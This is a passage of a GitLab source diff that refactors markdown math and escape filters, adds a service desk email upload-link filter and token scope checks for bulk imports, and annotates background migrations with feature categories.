+ { char: '~', escaped: '\~', token: '\+j', reference: true, latex: false },
+ { char: '^', escaped: '\^', token: '\+k', reference: true, latex: false }
+ ].freeze
+
+ TARGET_CHARS = ESCAPABLE_CHARS.pluck(:char).join.freeze
+ ASCII_PUNCTUATION = %r{(\\[#{TARGET_CHARS}])}.freeze
LITERAL_KEYWORD = 'cmliteral'
def call
@@ -35,7 +66,10 @@ module Banzai
# are found, we can bypass the post filter
result[:escaped_literals] = true
- "#{LITERAL_KEYWORD}-#{match}-#{LITERAL_KEYWORD}"
+ escaped_item = ESCAPABLE_CHARS.find { |item| item[:escaped] == match }
+ token = escaped_item ? escaped_item[:token] : match
+
+ "#{LITERAL_KEYWORD}-#{token}-#{LITERAL_KEYWORD}"
end
end
end
diff --git a/lib/banzai/filter/math_filter.rb b/lib/banzai/filter/math_filter.rb
index 1d854d6599b..9b6fc71077a 100644
--- a/lib/banzai/filter/math_filter.rb
+++ b/lib/banzai/filter/math_filter.rb
@@ -1,55 +1,29 @@
# frozen_string_literal: true
-require 'uri'
-
# Generated HTML is transformed back to GFM by:
# - app/assets/javascripts/behaviors/markdown/marks/math.js
# - app/assets/javascripts/behaviors/markdown/nodes/code_block.js
module Banzai
module Filter
- # HTML filter that implements our math syntax, adding class="code math"
+ # HTML filter that implements the original GitLab math syntax, one of three filters:
+ # DollarMathPreFilter, DollarMathPostFilter, and MathFilter
#
class MathFilter < HTML::Pipeline::Filter
+ # Handle the $`...`$ and ```math syntax in this filter.
+ # Also add necessary classes any existing math blocks.
+
CSS_MATH = 'pre[lang="math"] > code'
XPATH_MATH = Gitlab::Utils::Nokogiri.css_to_xpath(CSS_MATH).freeze
CSS_CODE = 'code'
XPATH_CODE = Gitlab::Utils::Nokogiri.css_to_xpath(CSS_CODE).freeze
-
- # These are based on the Pandoc heuristics,
- # https://pandoc.org/MANUAL.html#extension-tex_math_dollars
- # Note: at this time, using a dollar sign literal, `\$` inside
- # a math statement does not work correctly.
- # Corresponds to the "$...$" syntax
- DOLLAR_INLINE_PATTERN = %r{
- (?<matched>\$(?<math>(?:\S[^$\n]*?\S|[^$\s]))\$)(?:[^\d]|$)
- }x.freeze
-
- # Corresponds to the "$$...$$" syntax
- DOLLAR_DISPLAY_INLINE_PATTERN = %r{
- (?<matched>\$\$\ *(?<math>[^$\n]+?)\ *\$\$)
- }x.freeze
-
- # Corresponds to the $$\n...\n$$ syntax
- DOLLAR_DISPLAY_BLOCK_PATTERN = %r{
- ^(?<matched>\$\$\ *\n(?<math>.*)\n\$\$\ *)$
- }mx.freeze
-
- # Order dependent. Handle the `$$` syntax before the `$` syntax
- DOLLAR_MATH_PIPELINE = [
- { pattern: DOLLAR_DISPLAY_INLINE_PATTERN, tag: :code, style: :display },
- { pattern: DOLLAR_DISPLAY_BLOCK_PATTERN, tag: :pre, style: :display },
- { pattern: DOLLAR_INLINE_PATTERN, tag: :code, style: :inline }
- ].freeze
-
- # Do not recognize math inside these tags
- IGNORED_ANCESTOR_TAGS = %w[pre code tt].to_set
+ CSS_INLINE_CODE = 'code[data-math-style]'
+ XPATH_INLINE_CODE = Gitlab::Utils::Nokogiri.css_to_xpath(CSS_INLINE_CODE).freeze
# Attribute indicating inline or display math.
STYLE_ATTRIBUTE = 'data-math-style'
# Class used for tagging elements that should be rendered
TAG_CLASS = 'js-render-math'
-
MATH_CLASSES = "code math #{TAG_CLASS}"
DOLLAR_SIGN = '$'
@@ -61,47 +35,31 @@ module Banzai
def call
@nodes_count = 0
- process_dollar_pipeline if Feature.enabled?(:markdown_dollar_math, group)
-
+ process_existing
process_dollar_backtick_inline
process_math_codeblock
doc
end
- def process_dollar_pipeline
- doc.xpath('descendant-or-self::text()').each do |node|
- next if has_ancestor?(node, IGNORED_ANCESTOR_TAGS)
-
- node_html = node.to_html
- next unless node_html.match?(DOLLAR_INLINE_PATTERN) ||
- node_html.match?(DOLLAR_DISPLAY_INLINE_PATTERN) ||
- node_html.match?(DOLLAR_DISPLAY_BLOCK_PATTERN)
-
- temp_doc = Nokogiri::HTML.fragment(node_html)
- DOLLAR_MATH_PIPELINE.each do |pipeline|
- temp_doc.xpath('child::text()').each do |temp_node|
- html = temp_node.to_html
- temp_node.content.scan(pipeline[:pattern]).each do |matched, math|
- html.sub!(matched, math_html(tag: pipeline[:tag], style: pipeline[:style], math: math))
-
- @nodes_count += 1
- break if @nodes_count >= RENDER_NODES_LIMIT
- end
+ private
- temp_node.replace(html)
+ # Add necessary classes to any existing math blocks
+ def process_existing
+ doc.xpath(XPATH_INLINE_CODE).each do |code|
+ break if @nodes_count >= RENDER_NODES_LIMIT
- break if @nodes_count >= RENDER_NODES_LIMIT
- end
- end
+ code[:class] = MATH_CLASSES
- node.replace(temp_doc)
+ @nodes_count += 1
end
end
# Corresponds to the "$`...`$" syntax
def process_dollar_backtick_inline
doc.xpath(XPATH_CODE).each do |code|
+ break if @nodes_count >= RENDER_NODES_LIMIT
+
closing = code.next
opening = code.previous
@@ -112,17 +70,16 @@ module Banzai
closing.content.first == DOLLAR_SIGN &&
opening.content.last == DOLLAR_SIGN
- code[:class] = MATH_CLASSES
code[STYLE_ATTRIBUTE] = 'inline'
+ code[:class] = MATH_CLASSES
closing.content = closing.content[1..]
opening.content = opening.content[0..-2]
@nodes_count += 1
- break if @nodes_count >= RENDER_NODES_LIMIT
end
end
- # corresponds to the "```math...```" syntax
+ # Corresponds to the "```math...```" syntax
def process_math_codeblock
doc.xpath(XPATH_MATH).each do |node|
pre_node = node.parent
@@ -130,21 +87,6 @@ module Banzai
pre_node[:class] = TAG_CLASS
end
end
-
- private
-
- def math_html(tag:, math:, style:)
- case tag
- when :code
- "<code class=\"#{MATH_CLASSES}\" data-math-style=\"#{style}\">#{math}</code>"
- when :pre
- "<pre class=\"#{MATH_CLASSES}\" data-math-style=\"#{style}\"><code>#{math}</code></pre>"
- end
- end
-
- def group
- context[:group] || context[:project]&.group
- end
end
end
end
diff --git a/lib/banzai/filter/repository_link_filter.rb b/lib/banzai/filter/repository_link_filter.rb
index 86beeae01b7..ddc3f5cf715 100644
--- a/lib/banzai/filter/repository_link_filter.rb
+++ b/lib/banzai/filter/repository_link_filter.rb
@@ -90,14 +90,14 @@ module Banzai
end
def get_uri(html_attr)
- uri = URI(html_attr.value)
+ uri = Addressable::URI.parse(html_attr.value)
uri if uri.relative? && uri.path.present?
rescue URI::Error, Addressable::URI::InvalidURIError
end
def process_link_to_repository_attr(html_attr)
- uri = URI(html_attr.value)
+ uri = Addressable::URI.parse(html_attr.value)
if uri.relative? && uri.path.present?
html_attr.value = rebuild_relative_uri(uri).to_s
diff --git a/lib/banzai/filter/service_desk_upload_link_filter.rb b/lib/banzai/filter/service_desk_upload_link_filter.rb
new file mode 100644
index 00000000000..9f26dfb8ae5
--- /dev/null
+++ b/lib/banzai/filter/service_desk_upload_link_filter.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ # HTML filter for service desk emails.
+ # Context options:
+ # :replace_upload_links
+ class ServiceDeskUploadLinkFilter < BaseRelativeLinkFilter
+ def call
+ return doc unless context[:uploads_as_attachments].present?
+
+ linkable_attributes.reject! do |attr|
+ replace_upload_link(attr)
+ end
+
+ doc
+ end
+
+ protected
+
+ def replace_upload_link(html_attr)
+ return unless html_attr.name == 'href'
+ return unless html_attr.value.start_with?('/uploads/')
+
+ secret, filename_in_link = html_attr.value.scan(FileUploader::DYNAMIC_PATH_PATTERN).first
+ return unless context[:uploads_as_attachments].include?("#{secret}/#{filename_in_link}")
+
+ parent = html_attr.parent
+ filename_in_text = parent.text
+ final_filename = if filename_in_link != filename_in_text
+ "#{filename_in_text} (#{filename_in_link})"
+ else
+ filename_in_text
+ end
+
+ final_element = Nokogiri::HTML::DocumentFragment.parse("<strong>#{final_filename}</strong>")
+ parent.replace(final_element)
+ end
+ end
+ end
+end
diff --git a/lib/banzai/pipeline/plain_markdown_pipeline.rb b/lib/banzai/pipeline/plain_markdown_pipeline.rb
index 1da0f72996b..205bbc2140d 100644
--- a/lib/banzai/pipeline/plain_markdown_pipeline.rb
+++ b/lib/banzai/pipeline/plain_markdown_pipeline.rb
@@ -3,10 +3,17 @@
module Banzai
module Pipeline
class PlainMarkdownPipeline < BasePipeline
+ # DollarMathPreFilter and DollarMathPostFilter need to be included here,
+ # rather than in another pipeline. However, since dollar math would most
+ # likely be supported as an extension in any other markdown parser we used,
+ # it is not out of place. We are considering this a part of the actual
+ # markdown processing
def self.filters
FilterArray[
Filter::MarkdownPreEscapeFilter,
+ Filter::DollarMathPreFilter,
Filter::MarkdownFilter,
+ Filter::DollarMathPostFilter,
Filter::MarkdownPostEscapeFilter
]
end
diff --git a/lib/banzai/pipeline/service_desk_email_pipeline.rb b/lib/banzai/pipeline/service_desk_email_pipeline.rb
new file mode 100644
index 00000000000..cc7cd8a92b8
--- /dev/null
+++ b/lib/banzai/pipeline/service_desk_email_pipeline.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Pipeline
+ class ServiceDeskEmailPipeline < EmailPipeline
+ def self.filters
+ super.insert_before(Filter::ExternalLinkFilter, Banzai::Filter::ServiceDeskUploadLinkFilter)
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/clients/http.rb b/lib/bulk_imports/clients/http.rb
index 8129ff6151c..6c36875111b 100644
--- a/lib/bulk_imports/clients/http.rb
+++ b/lib/bulk_imports/clients/http.rb
@@ -8,6 +8,7 @@ module BulkImports
API_VERSION = 'v4'
DEFAULT_PAGE = 1
DEFAULT_PER_PAGE = 30
+ PAT_ENDPOINT_MIN_VERSION = '15.5.0'
def initialize(url:, token:, page: DEFAULT_PAGE, per_page: DEFAULT_PER_PAGE, api_version: API_VERSION)
@url = url
@@ -66,38 +67,57 @@ module BulkImports
instance_version >= BulkImport.min_gl_version_for_project_migration
end
- private
+ def options
+ { headers: { 'Content-Type' => 'application/json' }, query: { private_token: @token } }
+ end
- def validate_instance_version!
- return if @compatible_instance_version
+ def validate_import_scopes!
+ return true unless instance_version >= ::Gitlab::VersionInfo.parse(PAT_ENDPOINT_MIN_VERSION)
- if instance_version.major < BulkImport::MIN_MAJOR_VERSION
- raise ::BulkImports::Error.unsupported_gitlab_version
- else
- @compatible_instance_version = true
+ response = with_error_handling do
+ Gitlab::HTTP.get(resource_url("personal_access_tokens/self"), options)
end
+
+ return true if response['scopes']&.include?('api')
+
+ raise ::BulkImports::Error.scope_validation_failure
+ end
+
+ def validate_instance_version!
+ return true unless instance_version.major < BulkImport::MIN_MAJOR_VERSION
+
+ raise ::BulkImports::Error.unsupported_gitlab_version
end
+ private
+
def metadata
response = begin
with_error_handling do
- Gitlab::HTTP.get(resource_url(:version), default_options)
+ Gitlab::HTTP.get(resource_url(:version), options)
end
rescue BulkImports::NetworkError
# `version` endpoint is not available, try `metadata` endpoint instead
with_error_handling do
- Gitlab::HTTP.get(resource_url(:metadata), default_options)
+ Gitlab::HTTP.get(resource_url(:metadata), options)
end
end
response.parsed_response
+ rescue BulkImports::NetworkError => e
+ case e&.response&.code
+ when 401, 403
+ raise ::BulkImports::Error.scope_validation_failure
+ when 404
+ raise ::BulkImports::Error.invalid_url
+ else
+ raise
+ end
end
strong_memoize_attr :metadata
# rubocop:disable GitlabSecurity/PublicSend
def request(method, resource, options = {}, &block)
- validate_instance_version!
-
with_error_handling do
Gitlab::HTTP.public_send(
method,
@@ -134,9 +154,10 @@ module BulkImports
def with_error_handling
response = yield
- raise ::BulkImports::NetworkError.new("Unsuccessful response #{response.code} from #{response.request.path.path}. Body: #{response.parsed_response}", response: response) unless response.success?
+ return response if response.success?
+
+ raise ::BulkImports::NetworkError.new("Unsuccessful response #{response.code} from #{response.request.path.path}. Body: #{response.parsed_response}", response: response)
- response
rescue *Gitlab::HTTP::HTTP_ERRORS => e
raise ::BulkImports::NetworkError, e
end
diff --git a/lib/bulk_imports/error.rb b/lib/bulk_imports/error.rb
index 988982d3cdf..38f26028276 100644
--- a/lib/bulk_imports/error.rb
+++ b/lib/bulk_imports/error.rb
@@ -5,5 +5,14 @@ module BulkImports
def self.unsupported_gitlab_version
self.new("Unsupported GitLab Version. Minimum Supported Gitlab Version #{BulkImport::MIN_MAJOR_VERSION}.")
end
+
+ def self.scope_validation_failure
+ self.new("Import aborted as the provided personal access token does not have the required 'api' scope or " \
+ "is no longer valid.")
+ end
+
+ def self.invalid_url
+ self.new("Import aborted as it was not possible to connect to the provided GitLab instance URL.")
+ end
end
end
diff --git a/lib/bulk_imports/features.rb b/lib/bulk_imports/features.rb
index 952e8e62d71..9fdceb03655 100644
--- a/lib/bulk_imports/features.rb
+++ b/lib/bulk_imports/features.rb
@@ -2,10 +2,6 @@
module BulkImports
module Features
- def self.enabled?
- ::Feature.enabled?(:bulk_import)
- end
-
def self.project_migration_enabled?(destination_namespace = nil)
if destination_namespace.present?
root_ancestor = Namespace.find_by_full_path(destination_namespace)&.root_ancestor
diff --git a/lib/bulk_imports/groups/stage.rb b/lib/bulk_imports/groups/stage.rb
index 0db2b1f0698..7a777f1c8e1 100644
--- a/lib/bulk_imports/groups/stage.rb
+++ b/lib/bulk_imports/groups/stage.rb
@@ -71,7 +71,7 @@ module BulkImports
end
def project_entities_pipeline
- if project_pipeline_available? && feature_flag_enabled?
+ if migrate_projects? && project_pipeline_available? && feature_flag_enabled?
{
project_entities: {
pipeline: BulkImports::Groups::Pipelines::ProjectEntitiesPipeline,
@@ -83,6 +83,10 @@ module BulkImports
end
end
+ def migrate_projects?
+ bulk_import_entity.migrate_projects
+ end
+
def project_pipeline_available?
@bulk_import.source_version_info >= BulkImport.min_gl_version_for_project_migration
end
diff --git a/lib/bulk_imports/groups/transformers/subgroup_to_entity_transformer.rb b/lib/bulk_imports/groups/transformers/subgroup_to_entity_transformer.rb
index d8fb937ecd2..fcf9ed62388 100644
--- a/lib/bulk_imports/groups/transformers/subgroup_to_entity_transformer.rb
+++ b/lib/bulk_imports/groups/transformers/subgroup_to_entity_transformer.rb
@@ -10,7 +10,8 @@ module BulkImports
source_full_path: entry['full_path'],
destination_name: entry['path'],
destination_namespace: context.entity.group.full_path,
- parent_id: context.entity.id
+ parent_id: context.entity.id,
+ migrate_projects: context.entity.migrate_projects
}
end
end
diff --git a/lib/container_registry/client.rb b/lib/container_registry/client.rb
index 723935f8aaf..c879ec41d86 100644
--- a/lib/container_registry/client.rb
+++ b/lib/container_registry/client.rb
@@ -5,6 +5,7 @@ module ContainerRegistry
include Gitlab::Utils::StrongMemoize
attr_accessor :uri
+ attr_reader :options, :base_uri
REGISTRY_VERSION_HEADER = 'gitlab-container-registry-version'
REGISTRY_FEATURES_HEADER = 'gitlab-container-registry-features'
diff --git a/lib/event_filter.rb b/lib/event_filter.rb
index f14b0a6b9e7..ed14affda71 100644
--- a/lib/event_filter.rb
+++ b/lib/event_filter.rb
@@ -38,7 +38,7 @@ class EventFilter
when TEAM
events.where(action: Event::TEAM_ACTIONS)
when ISSUE
- events.where(action: Event::ISSUE_ACTIONS, target_type: 'Issue')
+ events.where(action: Event::ISSUE_ACTIONS).for_issue
when WIKI
wiki_events(events)
when DESIGNS
@@ -97,7 +97,7 @@ class EventFilter
when ISSUE
in_operator_params(
array_data: array_data,
- scope: Event.where(target_type: Issue.name),
+ scope: Event.for_issue,
in_column: :action,
in_values: Event.actions.values_at(*Event::ISSUE_ACTIONS)
)
diff --git a/lib/gitlab/analytics/cycle_analytics/aggregated/data_collector.rb b/lib/gitlab/analytics/cycle_analytics/aggregated/data_collector.rb
index 22d8874db57..3abf380d461 100644
--- a/lib/gitlab/analytics/cycle_analytics/aggregated/data_collector.rb
+++ b/lib/gitlab/analytics/cycle_analytics/aggregated/data_collector.rb
@@ -5,7 +5,7 @@ module Gitlab
module CycleAnalytics
module Aggregated
# Arguments:
- # stage - an instance of CycleAnalytics::ProjectStage or CycleAnalytics::GroupStage
+ # stage - an instance of CycleAnalytics::ProjectStage or CycleAnalytics::Stage
# params:
# current_user: an instance of User
# from: DateTime
diff --git a/lib/gitlab/analytics/cycle_analytics/data_collector.rb b/lib/gitlab/analytics/cycle_analytics/data_collector.rb
index ae675b6ad27..0db027b9861 100644
--- a/lib/gitlab/analytics/cycle_analytics/data_collector.rb
+++ b/lib/gitlab/analytics/cycle_analytics/data_collector.rb
@@ -4,7 +4,7 @@ module Gitlab
module Analytics
module CycleAnalytics
# Arguments:
- # stage - an instance of CycleAnalytics::ProjectStage or CycleAnalytics::GroupStage
+ # stage - an instance of CycleAnalytics::ProjectStage or CycleAnalytics::Stage
# params:
# current_user: an instance of User
# from: DateTime
diff --git a/lib/gitlab/analytics/cycle_analytics/request_params.rb b/lib/gitlab/analytics/cycle_analytics/request_params.rb
index ac9c465bf7d..d058782ae87 100644
--- a/lib/gitlab/analytics/cycle_analytics/request_params.rb
+++ b/lib/gitlab/analytics/cycle_analytics/request_params.rb
@@ -106,7 +106,7 @@ module Gitlab
def use_aggregated_backend?
# for now it's only available on the group-level
- group.present? && aggregation.enabled
+ group.present?
end
def aggregation_attributes
@@ -118,14 +118,14 @@ module Gitlab
end
def aggregation
- @aggregation ||= ::Analytics::CycleAnalytics::Aggregation.safe_create_for_group(group)
+ @aggregation ||= ::Analytics::CycleAnalytics::Aggregation.safe_create_for_namespace(group)
end
def group_data_attributes
{
id: group.id,
+ namespace_id: group.id,
name: group.name,
- parent_id: group.parent_id,
full_path: group.full_path,
avatar_url: group.avatar_url
}
diff --git a/lib/gitlab/application_rate_limiter.rb b/lib/gitlab/application_rate_limiter.rb
index 5b1bf99e297..a788586ebec 100644
--- a/lib/gitlab/application_rate_limiter.rb
+++ b/lib/gitlab/application_rate_limiter.rb
@@ -115,6 +115,38 @@ module Gitlab
value > threshold_value
end
+ # Similar to #throttled? above but checks for the bypass header in the request and logs the request when it is over the rate limit
+ #
+ # @param request [Http::Request] - Web request used to check the header and log
+ # @param current_user [User] Current user of the request, it can be nil
+ # @param key [Symbol] Key attribute registered in `.rate_limits`
+ # @param scope [Array<ActiveRecord>] Array of ActiveRecord models, Strings
+ # or Symbols to scope throttling to a specific request (e.g. per user
+ # per project)
+ # @param resource [ActiveRecord] An ActiveRecord model to count an action
+ # for (e.g. limit unique project (resource) downloads (action) to five
+ # per user (scope))
+ # @param threshold [Integer] Optional threshold value to override default
+ # one registered in `.rate_limits`
+ # @param interval [Integer] Optional interval value to override default
+ # one registered in `.rate_limits`
+ # @param users_allowlist [Array<String>] Optional list of usernames to
+ # exclude from the limit. This param will only be functional if Scope
+ # includes a current user.
+ # @param peek [Boolean] Optional. When true the key will not be
+ # incremented but the current throttled state will be returned.
+ #
+ # @return [Boolean] Whether or not a request should be throttled
+ def throttled_request?(request, current_user, key, scope:, **options)
+ if ::Gitlab::Throttle.bypass_header.present? && request.get_header(Gitlab::Throttle.bypass_header) == '1'
+ return false
+ end
+
+ throttled?(key, scope: scope, **options).tap do |throttled|
+ log_request(request, "#{key}_request_limit".to_sym, current_user) if throttled
+ end
+ end
+
# Returns the current rate limited state without incrementing the count.
#
# @param key [Symbol] Key attribute registered in `.rate_limits`
diff --git a/lib/gitlab/auth.rb b/lib/gitlab/auth.rb
index 7e8f9c76dea..c97ef5a10ef 100644
--- a/lib/gitlab/auth.rb
+++ b/lib/gitlab/auth.rb
@@ -31,6 +31,7 @@ module Gitlab
# Scopes used for GitLab as admin
SUDO_SCOPE = :sudo
+ ADMIN_MODE_SCOPE = :admin_mode
ADMIN_SCOPES = [SUDO_SCOPE].freeze
# Default scopes for OAuth applications that don't define their own
@@ -366,6 +367,7 @@ module Gitlab
def available_scopes_for(current_user)
scopes = non_admin_available_scopes
scopes += ADMIN_SCOPES if current_user.admin?
+
scopes
end
diff --git a/lib/gitlab/auth/o_auth/user.rb b/lib/gitlab/auth/o_auth/user.rb
index 26be7c8aa60..242390c3e89 100644
--- a/lib/gitlab/auth/o_auth/user.rb
+++ b/lib/gitlab/auth/o_auth/user.rb
@@ -260,7 +260,7 @@ module Gitlab
if sync_profile_from_provider?
UserSyncedAttributesMetadata::SYNCABLE_ATTRIBUTES.each do |key|
if auth_hash.has_attribute?(key) && gl_user.sync_attribute?(key)
- gl_user[key] = auth_hash.public_send(key) # rubocop:disable GitlabSecurity/PublicSend
+ gl_user.public_send("#{key}=".to_sym, auth_hash.public_send(key)) # rubocop:disable GitlabSecurity/PublicSend
metadata.set_attribute_synced(key, true)
else
metadata.set_attribute_synced(key, false)
diff --git a/lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed.rb b/lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed.rb
deleted file mode 100644
index b39c0953fb1..00000000000
--- a/lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Add user primary email to emails table if confirmed
- class AddPrimaryEmailToEmailsIfUserConfirmed
- INNER_BATCH_SIZE = 1_000
-
- # Stubbed class to access the User table
- class User < ActiveRecord::Base
- include ::EachBatch
-
- self.table_name = 'users'
- self.inheritance_column = :_type_disabled
-
- scope :confirmed, -> { where.not(confirmed_at: nil) }
-
- has_many :emails
- end
-
- # Stubbed class to access the Emails table
- class Email < ActiveRecord::Base
- self.table_name = 'emails'
- self.inheritance_column = :_type_disabled
-
- belongs_to :user
- end
-
- def perform(start_id, end_id)
- User.confirmed.where(id: start_id..end_id).select(:id, :email, :confirmed_at).each_batch(of: INNER_BATCH_SIZE) do |users|
- current_time = Time.now.utc
-
- attributes = users.map do |user|
- {
- user_id: user.id,
- email: user.email,
- confirmed_at: user.confirmed_at,
- created_at: current_time,
- updated_at: current_time
- }
- end
-
- Email.insert_all(attributes)
- end
- mark_job_as_succeeded(start_id, end_id)
- end
-
- private
-
- def mark_job_as_succeeded(*arguments)
- Gitlab::Database::BackgroundMigrationJob.mark_all_as_succeeded(
- 'AddPrimaryEmailToEmailsIfUserConfirmed',
- arguments
- )
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/backfill_admin_mode_scope_for_personal_access_tokens.rb b/lib/gitlab/background_migration/backfill_admin_mode_scope_for_personal_access_tokens.rb
new file mode 100644
index 00000000000..82e607ac7a7
--- /dev/null
+++ b/lib/gitlab/background_migration/backfill_admin_mode_scope_for_personal_access_tokens.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # Backfill `admin_mode` scope for a range of personal access tokens
+ class BackfillAdminModeScopeForPersonalAccessTokens < ::Gitlab::BackgroundMigration::BatchedMigrationJob
+ scope_to ->(relation) do
+ relation.joins('INNER JOIN users ON personal_access_tokens.user_id = users.id')
+ .where(users: { admin: true })
+ .where(revoked: [false, nil])
+ .where.not('expires_at IS NOT NULL AND expires_at <= ?', Time.current)
+ end
+
+ operation_name :update_all
+ feature_category :authentication_and_authorization
+
+ ADMIN_MODE_SCOPE = ['admin_mode'].freeze
+
+ def perform
+ each_sub_batch do |sub_batch|
+ sub_batch.each do |token|
+ token.update!(scopes: (YAML.safe_load(token.scopes) + ADMIN_MODE_SCOPE).uniq.to_yaml)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/backfill_cluster_agents_has_vulnerabilities.rb b/lib/gitlab/background_migration/backfill_cluster_agents_has_vulnerabilities.rb
index 249c9d7af57..1dca82486ac 100644
--- a/lib/gitlab/background_migration/backfill_cluster_agents_has_vulnerabilities.rb
+++ b/lib/gitlab/background_migration/backfill_cluster_agents_has_vulnerabilities.rb
@@ -17,6 +17,7 @@ module Gitlab
end
operation_name :update_all
+ feature_category :database
def perform
each_sub_batch(batching_scope: RELATION) do |sub_batch|
diff --git a/lib/gitlab/background_migration/backfill_environment_tiers.rb b/lib/gitlab/background_migration/backfill_environment_tiers.rb
index 6f381577274..ebfabf1b28e 100644
--- a/lib/gitlab/background_migration/backfill_environment_tiers.rb
+++ b/lib/gitlab/background_migration/backfill_environment_tiers.rb
@@ -7,6 +7,7 @@ module Gitlab
# See https://gitlab.com/gitlab-org/gitlab/-/issues/300741 for more information.
class BackfillEnvironmentTiers < BatchedMigrationJob
operation_name :backfill_environment_tiers
+ feature_category :database
# Equivalent to `Environment#guess_tier` pattern matching.
PRODUCTION_TIER = 0
diff --git a/lib/gitlab/background_migration/backfill_epic_cache_counts.rb b/lib/gitlab/background_migration/backfill_epic_cache_counts.rb
index bd61d1a0f07..ee64a8ca2d5 100644
--- a/lib/gitlab/background_migration/backfill_epic_cache_counts.rb
+++ b/lib/gitlab/background_migration/backfill_epic_cache_counts.rb
@@ -4,6 +4,8 @@ module Gitlab
module BackgroundMigration
# rubocop: disable Style/Documentation
class BackfillEpicCacheCounts < Gitlab::BackgroundMigration::BatchedMigrationJob
+ feature_category :database
+
def perform; end
end
# rubocop: enable Style/Documentation
diff --git a/lib/gitlab/background_migration/backfill_group_features.rb b/lib/gitlab/background_migration/backfill_group_features.rb
index 4ea664e2529..c45dcad5b2d 100644
--- a/lib/gitlab/background_migration/backfill_group_features.rb
+++ b/lib/gitlab/background_migration/backfill_group_features.rb
@@ -6,6 +6,7 @@ module Gitlab
class BackfillGroupFeatures < ::Gitlab::BackgroundMigration::BatchedMigrationJob
job_arguments :batch_size
operation_name :upsert_group_features
+ feature_category :database
def perform
each_sub_batch(
diff --git a/lib/gitlab/background_migration/backfill_imported_issue_search_data.rb b/lib/gitlab/background_migration/backfill_imported_issue_search_data.rb
index c95fed512c9..8c151bc36ac 100644
--- a/lib/gitlab/background_migration/backfill_imported_issue_search_data.rb
+++ b/lib/gitlab/background_migration/backfill_imported_issue_search_data.rb
@@ -10,6 +10,7 @@ module Gitlab
SUB_BATCH_SIZE = 1_000
operation_name :update_search_data
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/backfill_internal_on_notes.rb b/lib/gitlab/background_migration/backfill_internal_on_notes.rb
index fe05b4ec3c1..2202cbb2f85 100644
--- a/lib/gitlab/background_migration/backfill_internal_on_notes.rb
+++ b/lib/gitlab/background_migration/backfill_internal_on_notes.rb
@@ -6,6 +6,7 @@ module Gitlab
class BackfillInternalOnNotes < BatchedMigrationJob
scope_to -> (relation) { relation.where(confidential: true) }
operation_name :update_all
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/backfill_namespace_details.rb b/lib/gitlab/background_migration/backfill_namespace_details.rb
index 640d9379351..57254c09f78 100644
--- a/lib/gitlab/background_migration/backfill_namespace_details.rb
+++ b/lib/gitlab/background_migration/backfill_namespace_details.rb
@@ -5,6 +5,7 @@ module Gitlab
# Backfill namespace_details for a range of namespaces
class BackfillNamespaceDetails < ::Gitlab::BackgroundMigration::BatchedMigrationJob
operation_name :backfill_namespace_details
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/backfill_namespace_id_of_vulnerability_reads.rb b/lib/gitlab/background_migration/backfill_namespace_id_of_vulnerability_reads.rb
index dca7f9fa921..8600510b6ef 100644
--- a/lib/gitlab/background_migration/backfill_namespace_id_of_vulnerability_reads.rb
+++ b/lib/gitlab/background_migration/backfill_namespace_id_of_vulnerability_reads.rb
@@ -5,6 +5,7 @@ module Gitlab
# Sets the `namespace_id` of the existing `vulnerability_reads` records
class BackfillNamespaceIdOfVulnerabilityReads < BatchedMigrationJob
operation_name :set_namespace_id
+ feature_category :database
UPDATE_SQL = <<~SQL
UPDATE
diff --git a/lib/gitlab/background_migration/backfill_project_feature_package_registry_access_level.rb b/lib/gitlab/background_migration/backfill_project_feature_package_registry_access_level.rb
index 6520cd63711..ff20a7ed177 100644
--- a/lib/gitlab/background_migration/backfill_project_feature_package_registry_access_level.rb
+++ b/lib/gitlab/background_migration/backfill_project_feature_package_registry_access_level.rb
@@ -18,6 +18,7 @@ module Gitlab
end
operation_name :update_all
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/backfill_project_import_level.rb b/lib/gitlab/background_migration/backfill_project_import_level.rb
index 21c239e0070..1a4b1e6731f 100644
--- a/lib/gitlab/background_migration/backfill_project_import_level.rb
+++ b/lib/gitlab/background_migration/backfill_project_import_level.rb
@@ -4,6 +4,7 @@ module Gitlab
module BackgroundMigration
class BackfillProjectImportLevel < BatchedMigrationJob
operation_name :update_import_level
+ feature_category :database
LEVEL = {
Gitlab::Access::NO_ACCESS => [0],
diff --git a/lib/gitlab/background_migration/backfill_project_member_namespace_id.rb b/lib/gitlab/background_migration/backfill_project_member_namespace_id.rb
index c2e37269b5e..1bf029f5001 100644
--- a/lib/gitlab/background_migration/backfill_project_member_namespace_id.rb
+++ b/lib/gitlab/background_migration/backfill_project_member_namespace_id.rb
@@ -4,6 +4,8 @@ module Gitlab
module BackgroundMigration
# Backfills the `members.member_namespace_id` column for `type=ProjectMember`
class BackfillProjectMemberNamespaceId < Gitlab::BackgroundMigration::BatchedMigrationJob
+ feature_category :database
+
def perform
parent_batch_relation = relation_scoped_to_range(batch_table, batch_column, start_id, end_id)
diff --git a/lib/gitlab/background_migration/backfill_project_namespace_details.rb b/lib/gitlab/background_migration/backfill_project_namespace_details.rb
index 9bee3cf21e8..4f4db50321d 100644
--- a/lib/gitlab/background_migration/backfill_project_namespace_details.rb
+++ b/lib/gitlab/background_migration/backfill_project_namespace_details.rb
@@ -4,6 +4,7 @@ module Gitlab
# Backfill project namespace_details for a range of projects
class BackfillProjectNamespaceDetails < ::Gitlab::BackgroundMigration::BatchedMigrationJob
operation_name :backfill_project_namespace_details
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
